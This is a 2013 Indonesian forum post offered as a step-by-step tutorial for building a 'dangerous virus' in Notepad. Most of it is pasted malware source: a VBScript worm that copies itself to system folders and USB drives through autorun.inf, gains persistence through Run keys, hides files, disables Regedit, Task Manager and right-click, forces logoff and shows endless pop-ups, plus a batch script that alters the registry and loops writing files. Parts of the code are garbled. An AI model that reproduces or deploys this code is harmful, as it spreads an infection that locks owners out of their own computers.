[TUTOR]virus berbahaya NOTEPAD

Discussion in 'Hardware Hangout' started by indrayusuf28, Aug 30, 2013.

Discuss [TUTOR]virus berbahaya NOTEPAD in the Hardware Hangout area at Nyit-Nyit.Net

  1. indrayusuf28 Belum Sekolah Level 0

    Messages:
    2
    Likes Received:
    0
    Trophy Points:
    1
    ass,berjumpa lagi dengan saya aditia dermawan surbakti
    sekrang kita akan membahas tentang membuat VIRUS melalui NOTEPAD,
    soalny saya masi GALAU ni gara2 ada maasalah ni,mkny posting pun jm 4 pagi

    ok gan tanpa basa basi langsung aja ya.....
    langkah 1. buka notepad
    2. silahkan di copas nih secrip
    PHP Code:[background=black]


    Content
    //-ishal-//

    //-INI VIRUS BERBAHAYA JANGAN DIBUAT MAIN-MAIN!!!!!!!-//

    //-Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian
    lanjutkan kegiatan virus-//

    on error resume next

    //-Dim kata-kata berikut ini-//

    dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd

    //-Set sebuah teks yang nantinya akan dibuat untuk
    Autorun Setup Information-//

    atr = [autorun]&vbcrlf&”shellexecute=wscript.exe terserah.exe.vbs”

    set fs
    = createobject(”Scripting.FileSystemObject”)

    set mf = fs.getfile(Wscript.ScriptFullname)

    dim text,size

    size
    = mf.size

    check
    = mf.drive.drivetype

    set text
    =mf.openastextstream(1,-2)

    do while
    not text.atendofstream

    mysource
    =mysource&text.readline

    mysource
    =mysource & vbcrlf

    loop


    do

    //-Copy diri untuk menjadi file induk di Windows Path
    (example: C:\Windows)-//

    Set winpath = fs.getspecialfolder(0)

    set tf = fs.getfile(winpath & \terserah.exe.vbs”)

    tf.attributes = 32

    set tf
    =fs.createtextfile(winpath & \terserah.exe.vbs”,2,true)

    tf.write mysource

    tf
    .close

    set tf
    = fs.getfile(winpath & \bosgentongs.exe.vbs”)

    tf.attributes = 39

    //-Buat Atorun.inf untuk menjalankan virus otomatis
    setiap flash disc tercolok-//

    //-Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket-//

    for each flashdrive in fs.drives

    //-Cek Drive-//

    If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path
    “A
    :” then

    //-Buat Infector jika ternyata Drivetypr 1 atau 2. Atau
    A:\-//

    set tf=fs.getfile(flashdrive.path &\bosgentongs.exe.vbs”)

    tf.attributes =32

    set tf
    =fs.createtextfile(flashdrive.path &\bosgentongs.exe.vbs”,2,true)

    tf.write mysource

    tf
    .close

    set tf
    =fs.getfile(flashdrive.path &\erwinda_putra.exe.vbs”)

    tf.attributes =39

    //-Buat Atorun.inf yang teks-nya tadi sudah disiapkan
    (Auto Setup Information)-//

    set tf =fs.getfile(flashdrive.path &\autorun.inf”)

    tf.attributes = 32

    set tf
    =fs.createtextfile(flashdrive.path &\autorun.inf”,2,true)

    tf.write atr

    tf
    .close

    set tf
    =fs.getfile(flashdrive.path &\autorun.inf”)

    tf.attributes=39

    end
    if

    next

    //-Manipulasi Registry-//

    set rg = createobject(”WScript.Shell”)

    //-Manip – Ubah Title Internet Explorer menjadi
    terserah v.s. ANTIVIRUS-//

    rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Window
    Title”
    ,” THE BOSGENTONGS v.s. ANTIVIRUS “

    //-Manip – Set agar file hidden tidak ditampilkan di
    Explorer-//

    rg.RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\Advanced\Hidden”,
    “0”, “REG_DWORD”

    //-Manip – Hilangkan menu Find, Folder Options, Run, dan
    memblokir Regedit dan Task Manager-//

    rg.RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFind”,
    “1”, “REG_DWORD”

    rg
    .RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoFolderOptions”,
    “1”, “REG_DWORD”

    rg
    .RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoRun”,
    “1”, “REG_DWORD”

    rg
    .RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableRegistryTools”,
    “1”, “REG_DWORD”

    rg
    .RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\System\DisableTaskMgr”,
    “1”, “REG_DWORD”

    //-Manip – Disable klik kanan-//

    rg.RegWrite
    “HKEY_CURRENT_USER
    \Software\Microsoft\Windows \Curr entVersion\Policies\Explorer\NoViewContextMenu”,
    “1”, “REG_DWORD”

    //-Manip – Munculkan Pesan Setiap Windows Startup-//

    rg.regwrite
    “HKEY_LOCAL_MACHINE
    \Software\Microsoft\Window s\Cur rentVersion\Winlogon\LegalNoticeCaption”,
    “Worm Kalong. Variant from Bosgentongs, don’t panic all data are safe.

    rg
    .regwrite “”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windo ws
    NT
    \CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
    SISTEM
    !!! MAKA BERDOALAH AGAR TIDAK TERJADI“

    //-Manip – Aktif setiap Windows Startup-//

    rg.regwrite
    “HKEY_LOCAL_MACHINE
    \Software\Microsoft\Window s\Cur rentVersion\Run\Systemdir”,
    winpath & \batch- bosgentongs.exe.vbs “

    //-Manip – Ubah RegisteredOwner dan Organization-//

    rg.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s
    NT
    \CurrentVersion\RegisteredOrganization”, “terserah”

    rg
    .regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s
    NT
    \CurrentVersion\RegisteredOwner”,”terserah”

    //-Manip – Membuat Cadangan di sistem svchost, MS32Dll
    dan membuat ikon-//

    rg.regwrite
    “HKEY_LOCAL_MACHINE
    \Software\Microsoft\Window s\Cur rentVersion\Run\svchost”,winpath&\terserah.exe.vb s”

    rg
    .regwrite
    “HKEY_LOCAL_MACHINE
    \Software\Microsoft\Window s\Cur rentVersion\Run\MS32DLL”,"

    rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3”

    ‘//-Manip – Me-Log off komputer setelah log on BOLEH
    DIHAPUS KLO MAU LIHAT EFEKNYA!!!-//

    rg.regwrite
    “HKEY_LOCAL_MACHINE\Software\Microsoft\Window s\Cur rentVersion\Run\Logoff”,
    winpath & “\System32\Logoff.exe”

    ‘//-Fungsi di untuk mengaktifkan kembali script dan
    mengulangnya kembali-//

    if check 1 then

    Wscript.sleep 100000

    end if

    loop while check1

    set sd = createobject(”Wscript.shell”)

    sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

    do while year(now) >= 2009

    WScript.sleep 20000

    ‘//-Memunculkan pesan window terus menerus-//

    msgbox “Selamatlah virus ini tiba di sistem ente” & vbcrlf & _

    “kulo nyuwun pangapuranipun menawi sampung mengganggu ente sekalian” & vbcrlf &
    _

    “jangan kawatir dan sedih, aku tidak akan kuasai komputer bobrok ini. kini ente
    sudah masuk dalam permainanku” & vbcrlf & _

    “ini hanya permainnaku yang aku kesepian di sini” & vbcrlf & _

    vbcrlf & vbcrlf & _

    ” elok-elok indah kehidupan bukan kenyataan” & vbcrlf & vbcrlf & _

    ” saatnya kini aku bangkit dalam mimpi ituk“

    ‘//-Mengulang kode script-//
    loop

    simpan dengan nama terserah.exe.vbs


    lalu bisa juga nih kalo yang mau make .bat secripnya bisa di copas[background=black]

    PHP Code:


    Content
    cd C
    :\

    mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
    MENCARI PACAR
    /ADA YANG MAU?

    cd C:\Windows\

    mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
    MENCARI PACAR
    /ADA YANG MAU?

    cd C:\Windows\System32\

    mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
    MENCARI PACAR
    /ADA YANG MAU?

    cd D:\

    mkdir\Alert\Warning\Dangers\A NAMAKU WARXDOYO ANAK CISADANE YANG SEDANG SEDIH
    MENCARI PACAR
    /ADA YANG MAU?

    @echo
    off

    copy bosgentongsvirus
    .bmp %systemdrive%\ /y

    copy bosgentongsvirus
    .bmp %systemdrive%\WINDOWS\ /y

    copy bosgentongsvirus
    .bmp %systemdrive%\WINDOWS\system32\ /y

    copy bosgentongsvirus
    .exe %systemdrive%\ /y

    copy bosgentongsvirus
    .exe %systemdrive%\WINDOWS\ /y

    copy bosgentongsvirus
    .exe %systemdrive%\WINDOWS\system32\ /y

    reg add “HKEY_LOCAL_MACHINE
    \SOFTWARE\Microsoft\Window s
    NT
    \CurrentVersion\Winlogon” /v LegalNoticeCaption /d “WARNING MESSAGE FROM
    BOSGENTONGS”
    /f

    reg add “HKEY_LOCAL_MACHINE
    \SOFTWARE\Microsoft\Window s
    NT
    \CurrentVersion\Winlogon” /v LegalNoticeText /d “AKU TELAH MENGUASAI YOUR
    SISTEM
    !!! MAKA BERDOALAH AGAR TIDAK TERJADI” /f

    reg add “HKEY_LOCAL_MACHINE
    \SOFTWARE\Microsoft\Window s\Cur rentVersion\Run” /v
    bosgentongsvirus
    /d %systemdrive%\windows\system32\bosgentongsvirus.ex e /f

    reg add “HKEY_CURRENT_USER
    \Control Panel\Desktop” /v Wallpaper /d
    %systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f

    reg add “HKEY_CURRENT_USER
    \Control Panel\Desktop” /v WallpaperStyle /d 0 /f

    reg add “HKEY_CURRENT_USER
    \Control Panel\Colors” /v window /d #C10000 /f

    reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d
    %systemdrive%\WINDOWS\system32\bosgentongsvirus.bm p /f

    :bgvirus

    echo>>Albert.reg

    echo>>Anak.chm

    echo>>Ideal.dll

    echo>>Sekali.htt

    cls


    goto bgvirus

    echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

    echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

    echo
    ——————————————————-

    echo =============
    BOSGENTONGS love HACKER ==============

    echo =============
    THX TO KALLONG ==============

    echo =============
    Tangerang, 1 oktober 2010 ==============

    echo
    ——————————————————-

    echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

    echo $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$$

    echo


    echo AWAS JANGAN PENCET TOMBOL APAPUN!

    echo
    Atau memori anda akan penuh

    echo

    echo Mendeteksi apabila tombol keyboard dipencet …….

    Pause>null

    :bgvirus

    echo>>Albert.reg

    echo>>Anak.chm

    echo>>Ideal.dll

    echo>>Sekali.htt
    echo>>Yes.txt

    Mohon ini tutuor jangan di salah gunakan... ini virus yang sangat berbahaya sekali...
    keterangan :

    Yang Di miringin: ga Usah Ditulis Karena hanya Sebagai Petunjuk Saja
    Yang Di Tebelin: bisa diganti tulisannya

    Penulis tidak bertangung jawab apa bila terjadi kerusakan pada komputer kalian smua ^_^
     
    Last edited by a moderator: Jul 8, 2014

    Gunakan jasa Rekber N3 untuk menjamin jual beli anda atau menghindari penipuan dengan meng klik disini

Share This Page